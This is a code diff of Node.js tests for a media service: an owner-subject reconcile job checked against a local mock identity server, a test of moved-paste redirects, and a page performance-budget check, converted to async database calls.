+ Object.assign(process.env, env);
+
+ // ── Network stand-in ─────────────────────────────────────────
+ const net = {
+ grant: true, // does 'media' hold identity.subject.resolve?
+ map: new Map(), // 'live:<id>' -> usr_…
+ calls: [], // { via, system, n }
+ tokens: 0,
+ down: false,
+ };
+ const network = http.createServer((req, res) => {
+ let raw = '';
+ req.on('data', (c) => { raw += c; });
+ req.on('end', () => {
+ const send = (status, body) => { res.writeHead(status, { 'content-type': 'application/json' }); res.end(JSON.stringify(body)); };
+ if (net.down) return send(503, { error: 'down' });
+ if (req.method === 'POST' && req.url === '/oauth/token') {
+ const f = new URLSearchParams(raw);
+ if (f.get('client_id') !== 'media' || f.get('client_secret') !== 'media-secret') return send(401, { error: 'invalid_client' });
+ if (f.get('audience') !== 'openvibe.network' || f.get('scope') !== 'identity.subject.resolve') return send(400, { error: 'invalid_request' });
+ if (!net.grant) return send(400, { error: 'invalid_scope', error_description: 'not granted: identity.subject.resolve' });
+ net.tokens++;
+ return send(200, { access_token: 'svc-media-token', token_type: 'Bearer', expires_in: 300, scope: 'identity.subject.resolve' });
}
}
- return send(200, { results });
- }
- send(404, { error: 'Not found' });
- });
-});
-
-const db = require('../server/db/database');
-const model = require('../server/objects/model');
-const ownerSubject = require('../server/objects/owner-subject');
-const job = require('../server/objects/owner-subject-job');
-const config = require('../server/config');
-const Database = require('better-sqlite3');
-
-const SCRIPT = path.join(__dirname, '..', 'scripts', 'backfill-owner-subject.js');
-const subjectOf = (uid) => { const s = ids.newId('user', 1700000000000 + uid); net.map.set(`live:${uid}`, s); return s; };
-const obj = (o) => model.createObject({ app_id: 'live', owner_app: 'live', kind: 'file', lifecycle_status: 'ready', ...o });
-const row = (id) => db.get('SELECT * FROM media_objects WHERE id = ?', [id]);
-const snapshot = () => db.all('SELECT id, owner_subject, owner_app, owner_user_id, updated_at FROM media_objects ORDER BY id');
-
-function runScript(args, extraEnv = {}) {
- return new Promise((resolve) => {
- execFile(process.execPath, [SCRIPT, ...args], { env: { ...process.env, ...extraEnv }, cwd: tmp }, (err, stdout, stderr) => {
- resolve({ code: err ? err.code : 0, stdout, stderr });
+ if (req.method === 'POST' && req.url === '/internal/identity/resolve-batch') {
+ const bearer = String(req.headers.authorization || '');
+ const via = req.headers['x-internal-key'] === env.INTERNAL_API_KEY ? 'internal-key' : (bearer === 'Bearer svc-media-token' && net.grant ? 'service-token' : null);
+ if (!via) return send(403, { error: 'Invalid or missing internal key' });
+ const b = JSON.parse(raw || '{}');
+ if (!Array.isArray(b.ids) || !b.ids.length || !b.system) return send(400, { code: 'identity.bad_request' });
+ if (b.ids.length > 500) return send(413, { code: 'identity.too_many_entries' });
+ net.calls.push({ via, system: b.system, type: b.type, n: b.ids.length });
+ const results = {};
+ for (const id of b.ids) {
+ const sid = net.map.get(`${b.system}:${id}`);
+ results[String(id)] = sid ? { subject: { type: 'user', id: sid }, network_user_id: 1, username: `u${id}`, legacy_ids: [] } : null;
+ }
+ return send(200, { results });
+ }
+ send(404, { error: 'Not found' });
});
});
});
});
-}
-
-(async () => {
- await new Promise((r) => network.listen(0, '127.0.0.1', r));
- const NET = `http://127.0.0.1:${network.address().port}`;
- process.env.OV_NETWORK_INTERNAL_URL = NET;
- config.network.internalUrl = NET;
-
- // ── Fixture ──
- const s12 = subjectOf(12), s13 = subjectOf(13);
- const preset = ids.newId('user');
- const o = {
- a: obj({ owner_user_id: 12 }),
- b: obj({ owner_user_id: 12, kind: 'thumbnail' }),
- c: obj({ owner_user_id: 13, kind: 'screenshot' }),
- presetDifferent: obj({ owner_user_id: 12, owner_subject: preset }), // never overwritten, even though Network says s12
- unknown: obj({ owner_user_id: 99 }), // Network has no subject for live user 99
- noOwner: obj({ app_id: 'community', owner_app: 'community' }),
- games: obj({ app_id: 'games', owner_app: 'games', owner_user_id: 12 }), // no source system for games ids
- };
- // 520 more owners: more than one resolve-batch call (500 ids at most per call).
- const many = [];
- for (let uid = 1000; uid < 1520; uid++) { subjectOf(uid); many.push(obj({ owner_user_id: uid, kind: 'clip' })); }
- const TO_FILL = 3 + many.length;
-
- // ── Dry run: asks Network, changes nothing ──
- let before = snapshot();
- let r = await runScript(['--json']);
- assert.strictEqual(r.code, 0, r.stderr);
- let rep = JSON.parse(r.stdout);
- assert.strictEqual(rep.mode, 'dry-run');
- assert.strictEqual(rep.via, 'service-token', 'the service token is preferred');
- assert.deepStrictEqual(rep.per_app.live, { to_fill: TO_FILL, unresolvable: 1, unsupported: 0 });
- assert.deepStrictEqual(rep.per_app.games, { to_fill: 0, unresolvable: 0, unsupported: 1 });
- assert.deepStrictEqual([rep.before.live.already_set, rep.before.community.no_owner], [1, 1]);
- assert.deepStrictEqual([rep.totals.to_fill, rep.totals.unresolvable, rep.totals.unsupported, rep.totals.already_set], [TO_FILL, 1, 1, 1]);
- assert.deepStrictEqual(rep.unresolvable_owners, [{ owner_app: 'live', owner_user_id: 99, objects: 1 }]);
- assert.ok(net.calls.length >= 2 && net.calls.every(c => c.n <= 500 && c.system === 'live' && c.type === 'user'), JSON.stringify(net.calls));
- assert.deepStrictEqual(snapshot(), before, 'a dry run changes nothing');
- assert.deepStrictEqual(fs.readdirSync(tmp).filter(f => /json|backup/.test(f)), [], 'and writes no file');
- r = await runScript([]);
- assert.strictEqual(r.code, 0, r.stderr);
- assert.match(r.stdout, /live\s+\d+\s+1\s+523\s+1\s+0\s+0/, r.stdout);
- assert.match(r.stdout, /Unresolvable owners .*live:99 \(1\)/);
- assert.match(r.stdout, /Dry run: nothing was changed/);
- console.log('✅ dry run: per-tenant counts (to fill, already set, unresolvable, unsupported, no owner), nothing written');
-
- // ── --apply needs --backup ──
- r = await runScript(['--apply']);
- assert.strictEqual(r.code, 2); assert.match(r.stderr, /--apply needs --backup/);
- assert.deepStrictEqual(snapshot(), before);
-
- // ── Apply: backup first, then only NULLs, in batches ──
- const backup = path.join(tmp, 'backups', 'owner-subject-1.json');
- net.calls.length = 0;
- r = await runScript(['--apply', '--backup', backup, '--batch', '200', '--json']);
- assert.strictEqual(r.code, 0, r.stderr);
- const lines = r.stdout.slice(r.stdout.indexOf('{'));
- rep = JSON.parse(lines);
- assert.deepStrictEqual([rep.applied, rep.skipped, rep.batches], [TO_FILL, 0, Math.ceil(TO_FILL / 200)]);
- assert.strictEqual(rep.db_backup.integrity_check, 'ok');
- assert.strictEqual(rep.db_backup.objects, before.length, 'the copy was taken before the fill');
- const copy = new Database(rep.db_backup.path, { readonly: true });
- assert.strictEqual(copy.prepare('SELECT count(*) AS n FROM media_objects WHERE owner_subject IS NOT NULL').get().n, 1, 'the copy is the pre-fill state');
- copy.close();
- assert.strictEqual(fs.statSync(backup).mode & 0o777, 0o600);
- assert.strictEqual(fs.statSync(rep.db_backup.path).mode & 0o777, 0o600);
- assert.strictEqual(rep.db_backup.path, path.join(tmp, 'backups', 'owner-subject-1.media.db'));
- assert.deepStrictEqual([row(o.a).owner_subject, row(o.b).owner_subject, row(o.c).owner_subject], [s12, s12, s13]);
- assert.strictEqual(row(many[0]).owner_subject, net.map.get('live:1000'));
- assert.strictEqual(row(o.presetDifferent).owner_subject, preset, 'a non-null owner_subject is never overwritten');
- assert.strictEqual(row(o.unknown).owner_subject, null, 'an unresolvable id stays NULL');
- assert.strictEqual(row(o.games).owner_subject, null, 'a tenant with no source system is left alone');
- assert.strictEqual(row(o.noOwner).owner_subject, null);
- const manifest = JSON.parse(fs.readFileSync(backup, 'utf8'));
- assert.deepStrictEqual([manifest.kind, manifest.status, manifest.rows.length], ['media.owner_subject.backfill', 'applied', TO_FILL]);
- assert.deepStrictEqual(manifest.rows.find(x => x.id === o.a), { id: o.a, app_id: 'live', owner_app: 'live', owner_user_id: 12, owner_subject: s12 });
- assert.ok(!manifest.rows.some(x => [o.presetDifferent, o.unknown, o.games, o.noOwner].includes(x.id)), 'only the rows it changed');
- console.log('✅ --apply: verified online backup + rollback file first, then fills only NULLs in 200-row batches; unknown ids stay NULL');
-
- // ── Idempotent: a second run has nothing to fill (and needs no new backup) ──
- r = await runScript(['--apply', '--backup', backup]);
- assert.strictEqual(r.code, 0, r.stderr);
- assert.match(r.stdout, /Nothing to fill/);
- // A fill with a backup name already used is refused before anything changes.
- const late = obj({ owner_user_id: 13 });
- r = await runScript(['--apply', '--backup', backup]);
- assert.strictEqual(r.code, 2); assert.match(r.stderr, /already exists/);
- assert.strictEqual(row(late).owner_subject, null);
-
- // ── Rollback: only rows still as the backfill left them ──
- const other = ids.newId('user');
- db.run('UPDATE media_objects SET owner_subject = ? WHERE id = ?', [other, o.b]); // changed since the backfill
- const beforeRb = snapshot();
- r = await runScript(['--rollback', backup, '--json']);
- assert.strictEqual(r.code, 0, r.stderr);
- rep = JSON.parse(r.stdout.slice(r.stdout.indexOf('{')));
- assert.deepStrictEqual([rep.mode, rep.restored, rep.changed_since, rep.missing], ['rollback-dry-run', TO_FILL - 1, 1, 0]);
- assert.deepStrictEqual(rep.changed_since_ids, [o.b]);
- assert.deepStrictEqual(snapshot(), beforeRb, 'a rollback without --apply changes nothing');
- r = await runScript(['--rollback', backup, '--apply']);
- assert.strictEqual(r.code, 0, r.stderr);
- assert.match(r.stdout, new RegExp(`Restored ${TO_FILL - 1} .*; 1 changed since`));
- assert.deepStrictEqual([row(o.a).owner_subject, row(o.c).owner_subject, row(many[519]).owner_subject], [null, null, null]);
- assert.strictEqual(row(o.b).owner_subject, other, 'a row changed since is left alone');
- assert.strictEqual(row(o.presetDifferent).owner_subject, preset, 'rows the backfill did not change are untouched');
- console.log('✅ --rollback: dry by default, restores only the rows still carrying the backfilled subject');
-
- // ── Fallback: no grant yet -> the internal key ──
- net.grant = false; net.calls.length = 0;
- r = await runScript(['--json']);
- assert.strictEqual(r.code, 0, r.stderr);
- rep = JSON.parse(r.stdout);
- assert.strictEqual(rep.via, 'internal-key');
- assert.ok(net.calls.length && net.calls.every(c => c.via === 'internal-key'));
- r = await runScript(['--json'], { INTERNAL_API_KEY: '' });
- assert.strictEqual(r.code, 1, 'neither credential works: an error, not "unresolvable"');
- assert.match(r.stderr, /no service token for identity\.subject\.resolve .* and no INTERNAL_API_KEY/);
- net.down = true;
- r = await runScript([]);
- assert.strictEqual(r.code, 1); assert.match(r.stderr, /Network resolve-batch 503|token endpoint 503/);
- net.down = false; net.grant = true;
- // A token Network refuses at resolve-batch: the key answers instead.
- const resolver = ownerSubject.createResolver({ networkUrl: NET });
- net.grant = true;
- let got = await resolver.resolve('live', ['12', '99', 12]);
- assert.deepStrictEqual([...got.entries()], [['12', s12], ['99', null]]);
- assert.strictEqual(resolver.state.via, 'service-token');
- const tokenOnly = ownerSubject.createResolver({ networkUrl: NET, internalKey: '' });
- net.grant = false;
- await assert.rejects(tokenOnly.resolve('live', ['12']), /no service token/);
- net.grant = true;
- console.log('✅ Network auth: service token first, INTERNAL_API_KEY when Network has not granted it; failures are errors');
-
- // ── New objects: X-OV-Subject at creation ──
- const express = require('express');
- db.upsertApp({ app_id: 'live', api_key: 'live-key' });
- const app = express();
- app.use(express.json());
- app.use('/api/v2/:app/objects', require('../server/objects/routes'));
- const server = http.createServer(app);
- await new Promise((res) => server.listen(0, '127.0.0.1', res));
- const base = `http://127.0.0.1:${server.address().port}`;
- const post = (headers, body) => fetch(`${base}/api/v2/live/objects`, { method: 'POST', headers: { authorization: 'Bearer live-key', 'content-type': 'application/json', ...headers }, body: JSON.stringify(body) }).then(async x => ({ status: x.status, body: await x.json() }));
- let p = await post({ 'x-ov-subject': `user:${s13}` }, { kind: 'file', size_bytes: 3, user_id: 13 });
- assert.strictEqual(p.status, 201, JSON.stringify(p.body));
- assert.strictEqual(row(p.body.id).owner_subject, s13, 'X-OV-Subject is stored at creation');
- p = await post({}, { kind: 'file', size_bytes: 3, user_id: 12 });
- const userOnly = p.body.id;
- assert.deepStrictEqual([row(userOnly).owner_subject, row(userOnly).owner_user_id], [null, 12]);
-
- // ── New objects: the reconcile job fills the rest (projections included) ──
- const clipId = db.createClip({ app_id: 'live', user_id: 13, channel_user_id: 12, title: 'c', file_path: path.join(env.CLIPS_PATH, 'c.webm'), start_time: 0, end_time: 5 }).lastInsertRowid;
- const clipObj = db.get('SELECT object_id FROM clips WHERE id = ?', [clipId]).object_id;
- assert.ok(clipObj && row(clipObj).owner_subject === null && row(clipObj).owner_user_id === 13);
- net.calls.length = 0;
- const jr = await job.runOnce();
- assert.ok(jr && jr.filled >= 3, JSON.stringify(jr));
- assert.strictEqual(jr.via, 'service-token');
- assert.deepStrictEqual([row(userOnly).owner_subject, row(clipObj).owner_subject, row(late).owner_subject], [s12, s13, s13]);
- assert.strictEqual(row(o.a).owner_subject, s12, 'the job also refills rows a rollback cleared (so it is turned off before one)');
- assert.strictEqual(row(o.unknown).owner_subject, null);
- assert.strictEqual(row(o.b).owner_subject, other, 'never over a non-null value');
- // Network learns live user 99 later: the next run fills it.
- const s99 = subjectOf(99);
- assert.strictEqual((await job.runOnce()).filled, 1);
- assert.strictEqual(row(o.unknown).owner_subject, s99);
- // Nothing left to fill: a run asks Network nothing (games 12 is the only pending owner and has no source system).
- net.calls.length = 0;
- assert.deepStrictEqual(await job.runOnce(), { owners: 1, filled: 0, skipped: 0, unresolvable: 0, unsupported: 1, via: null });
- assert.strictEqual(net.calls.length, 0);
- // Network down: the run fails quietly and the next one retries.
- net.down = true;
- const quiet = console.warn; console.warn = () => {};
- obj({ owner_user_id: 12 });
- assert.strictEqual(await job.runOnce(), null);
- console.warn = quiet;
- assert.match(job.status().last_error, /503/);
- net.down = false;
- assert.strictEqual((await job.runOnce()).filled, 1);
-
- // A re-projection keeps the subject; a re-projection to another owner drops it until the job resolves the new one.
- model.sync('clip', clipId);
- assert.strictEqual(row(clipObj).owner_subject, s13);
- db.run('UPDATE clips SET user_id = 12 WHERE id = ?', [clipId]);
- model.sync('clip', clipId);
- assert.deepStrictEqual([row(clipObj).owner_user_id, row(clipObj).owner_subject], [12, null]);
- await job.runOnce();
- assert.strictEqual(row(clipObj).owner_subject, s12);
- // The v2 object's public shape carries it (what Live's lineage resolver reads: owner.subject).
- assert.strictEqual(model.objectPublic(row(clipObj)).owner.subject, s12);
-
- // MEDIA_OWNER_SUBJECT_SYNC=0 keeps the job off.
- config.ownerSubject.enabled = false;
- const said = console.log; console.log = () => {};
- assert.strictEqual(job.start(), false);
- console.log = said;
- config.ownerSubject.enabled = true;
- console.log('✅ new objects: X-OV-Subject stored at creation; the reconcile job fills the rest, re-projection keeps or drops it');
- server.close(); network.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('owner-subject: all checks passed');
- process.exit(0);
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const ownerSubject = require('../server/objects/owner-subject');
+ const job = require('../server/objects/owner-subject-job');
+ const config = require('../server/config');
+
+ const obj = async (o) => await model.createObject({ app_id: 'live', owner_app: 'live', kind: 'file', lifecycle_status: 'ready', ...o });
+ const row = async (id) => await db.get('SELECT * FROM media_objects WHERE id = ?', [id]);
+ const subjectOf = (uid) => { const s = ids.newId('user', 1700000000000 + uid); net.map.set(`live:${uid}`, s); return s; };
+
+ (async () => {
+ await new Promise((r) => network.listen(0, '127.0.0.1', r));
+ const NET = `http://127.0.0.1:${network.address().port}`;
+ process.env.OV_NETWORK_INTERNAL_URL = NET;
+ config.network.internalUrl = NET;
+
+ // ── Fixture ──
+ const s12 = subjectOf(12), s13 = subjectOf(13);
+ const preset = ids.newId('user');
+ const o = {
+ a: await obj({ owner_user_id: 12 }),
+ b: await obj({ owner_user_id: 12, kind: 'thumbnail' }),
+ c: await obj({ owner_user_id: 13, kind: 'screenshot' }),
+ presetDifferent: await obj({ owner_user_id: 12, owner_subject: preset }), // never overwritten, even though Network says s12
+ unknown: await obj({ owner_user_id: 99 }), // Network has no subject for live user 99
+ noOwner: await obj({ app_id: 'community', owner_app: 'community' }),
+ games: await obj({ app_id: 'games', owner_app: 'games', owner_user_id: 12 }), // no source system for games ids
+ };
+ // 520 more owners: more than one resolve-batch call (500 ids at most per call).
+ const many = [];
+ for (let uid = 1000; uid < 1520; uid++) { subjectOf(uid); many.push(await obj({ owner_user_id: uid, kind: 'clip' })); }
+ const TO_FILL = 3 + many.length;
+
+ // (The one-off backfill script ran in production on SQLite and is retired: the reconcile job below fills what is left.)
+ // A token Network refuses at resolve-batch: the key answers instead.
+ const resolver = ownerSubject.createResolver({ networkUrl: NET });
+ net.grant = true;
+ let got = await resolver.resolve('live', ['12', '99', 12]);
+ assert.deepStrictEqual([...got.entries()], [['12', s12], ['99', null]]);
+ assert.strictEqual(resolver.state.via, 'service-token');
+ const tokenOnly = ownerSubject.createResolver({ networkUrl: NET, internalKey: '' });
+ net.grant = false;
+ await assert.rejects(tokenOnly.resolve('live', ['12']), /no service token/);
+ net.grant = true;
+ console.log('✅ Network auth: service token first, INTERNAL_API_KEY when Network has not granted it; failures are errors');
+
+ // ── New objects: X-OV-Subject at creation ──
+ const express = require('express');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v2/:app/objects', require('../server/objects/routes'));
+ const server = http.createServer(app);
+ await new Promise((res) => server.listen(0, '127.0.0.1', res));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const post = (headers, body) => fetch(`${base}/api/v2/live/objects`, { method: 'POST', headers: { authorization: 'Bearer live-key', 'content-type': 'application/json', ...headers }, body: JSON.stringify(body) }).then(async x => ({ status: x.status, body: await x.json() }));
+ let p = await post({ 'x-ov-subject': `user:${s13}` }, { kind: 'file', size_bytes: 3, user_id: 13 });
+ assert.strictEqual(p.status, 201, JSON.stringify(p.body));
+ assert.strictEqual((await row(p.body.id)).owner_subject, s13, 'X-OV-Subject is stored at creation');
+ p = await post({}, { kind: 'file', size_bytes: 3, user_id: 12 });
+ const userOnly = p.body.id;
+ assert.deepStrictEqual([(await row(userOnly)).owner_subject, (await row(userOnly)).owner_user_id], [null, 12]);
+
+ // ── New objects: the reconcile job fills the rest (projections included) ──
+ const clipId = (await db.createClip({ app_id: 'live', user_id: 13, channel_user_id: 12, title: 'c', file_path: path.join(env.CLIPS_PATH, 'c.webm'), start_time: 0, end_time: 5 })).lastInsertRowid;
+ const clipObj = (await db.get('SELECT object_id FROM clips WHERE id = ?', [clipId])).object_id;
+ assert.ok(clipObj && (await row(clipObj)).owner_subject === null && (await row(clipObj)).owner_user_id === 13);
+ const other = ids.newId('user');
+ await db.run('UPDATE media_objects SET owner_subject = ? WHERE id = ?', [other, o.b]); // set by someone else: the job keeps it
+ const late = await obj({ owner_user_id: 13 }); // made after the others, no subject yet
+ assert.strictEqual((await row(late)).owner_subject, null);
+ net.calls.length = 0;
+ const jr = await job.runOnce();
+ assert.ok(jr && jr.filled >= 3, JSON.stringify(jr));
+ assert.strictEqual(jr.via, 'service-token');
+ assert.deepStrictEqual([(await row(userOnly)).owner_subject, (await row(clipObj)).owner_subject, (await row(late)).owner_subject], [s12, s13, s13]);
+ assert.strictEqual((await row(o.a)).owner_subject, s12, 'the job fills every row it can resolve');
+ assert.strictEqual((await row(o.unknown)).owner_subject, null);
+ assert.strictEqual((await row(o.b)).owner_subject, other, 'never over a non-null value');
+ // Network learns live user 99 later: the next run fills it.
+ const s99 = subjectOf(99);
+ assert.strictEqual((await job.runOnce()).filled, 1);
+ assert.strictEqual((await row(o.unknown)).owner_subject, s99);
+ // Nothing left to fill: a run asks Network nothing (games 12 is the only pending owner and has no source system).
+ net.calls.length = 0;
+ assert.deepStrictEqual(await job.runOnce(), { owners: 1, filled: 0, skipped: 0, unresolvable: 0, unsupported: 1, via: null });
+ assert.strictEqual(net.calls.length, 0);
+ // Network down: the run fails quietly and the next one retries.
+ net.down = true;
+ const quiet = console.warn; console.warn = () => {};
+ await obj({ owner_user_id: 12 });
+ assert.strictEqual(await job.runOnce(), null);
+ console.warn = quiet;
+ assert.match(job.status().last_error, /503/);
+ net.down = false;
+ assert.strictEqual((await job.runOnce()).filled, 1);
+
+ // A re-projection keeps the subject; a re-projection to another owner drops it until the job resolves the new one.
+ await model.sync('clip', clipId);
+ assert.strictEqual((await row(clipObj)).owner_subject, s13);
+ await db.run('UPDATE clips SET user_id = 12 WHERE id = ?', [clipId]);
+ await model.sync('clip', clipId);
+ assert.deepStrictEqual([(await row(clipObj)).owner_user_id, (await row(clipObj)).owner_subject], [12, null]);
+ await job.runOnce();
+ assert.strictEqual((await row(clipObj)).owner_subject, s12);
+ // The v2 object's public shape carries it (what Live's lineage resolver reads: owner.subject).
+ assert.strictEqual((await model.objectPublic(await row(clipObj))).owner.subject, s12);
+
+ // MEDIA_OWNER_SUBJECT_SYNC=0 keeps the job off.
+ config.ownerSubject.enabled = false;
+ const said = console.log; console.log = () => {};
+ assert.strictEqual(job.start(), false);
+ console.log = said;
+ config.ownerSubject.enabled = true;
+ console.log('✅ new objects: X-OV-Subject stored at creation; the reconcile job fills the rest, re-projection keeps or drops it');
+
+ server.close(); network.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('owner-subject: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,49 +8,50 @@ const path = require('path');
@@ -8,49 +8,50 @@ const path = require('path');
const http = require('http');
const http = require('http');
const express = require('express');
const express = require('express');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-moved-'));
-process.env.DB_PATH = path.join(tmp, 'media.db');
-const db = require('../server/db/database');
-require('../server/views/service').ensureSchema();
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-const shot = path.join(tmp, 'shot.png');
-fs.writeFileSync(shot, Buffer.from('\x89PNG\r\n\x1a\n'));
-db.getDb().prepare("INSERT INTO pastes (app_id, slug, type, title, content, visibility, screenshot_path) VALUES ('live', 'text-1', 'paste', 't', 'hello', 'public', NULL), ('live', 'shot-1', 'screenshot', 's', '', 'public', ?)").run(shot);
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-moved-'));
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ const db = require('../server/db/database');
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ const shot = path.join(tmp, 'shot.png');
+ fs.writeFileSync(shot, Buffer.from('\x89PNG\r\n\x1a\n'));
+ await db.getDb().prepare("INSERT INTO pastes (app_id, slug, type, title, content, visibility, screenshot_path) VALUES ('live', 'text-1', 'paste', 't', 'hello', 'public', NULL), ('live', 'shot-1', 'screenshot', 's', '', 'public', ?) RETURNING id").run(shot);
-const app = express();
-app.use(express.json());
-app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));
-app.use(require('../server/public/routes'));
-const server = http.createServer(app);
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));
+ app.use(require('../server/public/routes'));
+ const server = http.createServer(app);
-(async () => {
- await new Promise((r) => server.listen(0, '127.0.0.1', r));
- const base = `http://127.0.0.1:${server.address().port}`;
- const get = (p) => fetch(base + p, { redirect: 'manual' });
- const post = () => fetch(`${base}/api/v1/live/pastes`, { method: 'POST', headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: JSON.stringify({ content: 'x' }) });
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const get = (p) => fetch(base + p, { redirect: 'manual' });
+ const post = () => fetch(`${base}/api/v1/live/pastes`, { method: 'POST', headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: JSON.stringify({ content: 'x' }) });
- // Before the switch: business as usual.
- assert.strictEqual((await get('/p/text-1')).status, 200);
- assert.strictEqual(await (await get('/p/text-1/raw')).text(), 'hello');
- assert.strictEqual((await post()).status, 201);
+ // Before the switch: business as usual.
+ assert.strictEqual((await get('/p/text-1')).status, 200);
+ assert.strictEqual(await (await get('/p/text-1/raw')).text(), 'hello');
+ assert.strictEqual((await post()).status, 201);
- process.env.PASTES_MOVED_TO = 'https://openvibe.community/';
- process.env.PASTES_FROZEN_APPS = 'live';
- let r = await post();
- assert.strictEqual(r.status, 410); assert.strictEqual((await r.json()).code, 'pastes.moved');
- r = await fetch(`${base}/api/v1/live/pastes/text-1`, { headers: { authorization: 'Bearer live-key' } });
- assert.strictEqual(r.status, 200, 'reads still work');
- r = await get('/p/text-1');
- assert.strictEqual(r.status, 301); assert.strictEqual(r.headers.get('location'), 'https://openvibe.community/p/text-1');
- r = await get('/p/text-1/raw');
- assert.strictEqual(r.status, 301); assert.strictEqual(r.headers.get('location'), 'https://openvibe.community/p/text-1/raw');
- r = await get('/p/shot-1/raw');
- assert.strictEqual(r.status, 302); assert.strictEqual(r.headers.get('location'), '/p/shot-1/screenshot', 'image pastes keep their local bytes');
- r = await get('/p/shot-1/screenshot');
- assert.strictEqual(r.status, 200, 'screenshot bytes are still served here');
- assert.ok(db.getPasteBySlug('text-1'), 'no read deletes anything after the switch');
+ process.env.PASTES_MOVED_TO = 'https://openvibe.community/';
+ process.env.PASTES_FROZEN_APPS = 'live';
+ let r = await post();
+ assert.strictEqual(r.status, 410); assert.strictEqual((await r.json()).code, 'pastes.moved');
+ r = await fetch(`${base}/api/v1/live/pastes/text-1`, { headers: { authorization: 'Bearer live-key' } });
+ assert.strictEqual(r.status, 200, 'reads still work');
+ r = await get('/p/text-1');
+ assert.strictEqual(r.status, 301); assert.strictEqual(r.headers.get('location'), 'https://openvibe.community/p/text-1');
+ r = await get('/p/text-1/raw');
+ assert.strictEqual(r.status, 301); assert.strictEqual(r.headers.get('location'), 'https://openvibe.community/p/text-1/raw');
+ r = await get('/p/shot-1/raw');
+ assert.strictEqual(r.status, 302); assert.strictEqual(r.headers.get('location'), '/p/shot-1/screenshot', 'image pastes keep their local bytes');
+ r = await get('/p/shot-1/screenshot');
+ assert.strictEqual(r.status, 200, 'screenshot bytes are still served here');
+ assert.ok(await db.getPasteBySlug('text-1'), 'no read deletes anything after the switch');
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('pastes moved: all checks passed');
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('pastes moved: all checks passed');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -11,46 +11,48 @@ const path = require('path');
@@ -11,46 +11,48 @@ const path = require('path');
const { spawn } = require('child_process');
const { spawn } = require('child_process');
const { measure, check, format } = require('openvibe-shared/perf-budget');
const { measure, check, format } = require('openvibe-shared/perf-budget');
-const BUDGETS = {
- htmlRawKB: 25, // measured 19.8 (fresh database)
- htmlBrotliKB: 6.5, // 5.0
- jsFiles: 4, // 3
- // 2026-09-27: theme-loader (44.3 KB, 8.3 brotli) now comes from Media's own /shared (D42) instead of
- // openvibe.network, so it is counted here; the page itself did not grow.
- jsRawKB: 215, // 197.7
- jsBrotliKB: 50, // 45.6
- cssFiles: 2, // 1 (Font Awesome, cross-origin)
- cssRawKB: 10, // 0 same-origin
- externalFiles: 3, // 2
-};
+(async () => {
+ const BUDGETS = {
+ htmlRawKB: 25, // measured 19.8 (fresh database)
+ htmlBrotliKB: 6.5, // 5.0
+ jsFiles: 4, // 3
+ // 2026-09-27: theme-loader (44.3 KB, 8.3 brotli) now comes from Media's own /shared (D42) instead of
+ // openvibe.network, so it is counted here; the page itself did not grow.
+ jsRawKB: 215, // 197.7
+ jsBrotliKB: 50, // 45.6
+ cssFiles: 2, // 1 (Font Awesome, cross-origin)
+ cssRawKB: 10, // 0 same-origin
+ externalFiles: 3, // 2
+ };
-const freePort = () => new Promise((resolve) => { const s = net.createServer(); s.listen(0, '127.0.0.1', () => { const { port } = s.address(); s.close(() => resolve(port)); }); });
+ const freePort = () => new Promise((resolve) => { const s = net.createServer(); s.listen(0, '127.0.0.1', () => { const { port } = s.address(); s.close(() => resolve(port)); }); });
-(async () => {
- const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-budget-'));
- const port = await freePort();
- const child = spawn(process.execPath, [path.join(__dirname, '..', 'server', 'index.js')], {
- cwd: path.join(__dirname, '..'),
- env: { ...process.env, PORT: String(port), HOST: '127.0.0.1', NODE_ENV: 'test', DB_PATH: path.join(dir, 'media.db'), VOD_PATH: path.join(dir, 'vods'), CLIPS_PATH: path.join(dir, 'clips'), FILES_PATH: path.join(dir, 'files'), THUMBNAILS_PATH: path.join(dir, 'thumbnails'), PASTES_PATH: path.join(dir, 'pastes'), OBJECTS_PATH: path.join(dir, 'objects'), MEDIA_JOBS_ENABLED: 'off' },
- stdio: ['ignore', 'ignore', 'pipe'],
- });
- let stderr = '';
- child.stderr.on('data', (d) => { stderr = (stderr + d).slice(-2000); });
- const base = `http://127.0.0.1:${port}`;
- try {
- let up = false;
- for (let i = 0; i < 150 && !up; i++) {
- up = await fetch(`${base}/healthz`).then((r) => r.ok).catch(() => false);
- if (!up) await new Promise((r) => setTimeout(r, 100));
+ (async () => {
+ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-budget-'));
+ const port = await freePort();
+ const child = spawn(process.execPath, [path.join(__dirname, '..', 'server', 'index.js')], {
+ cwd: path.join(__dirname, '..'),
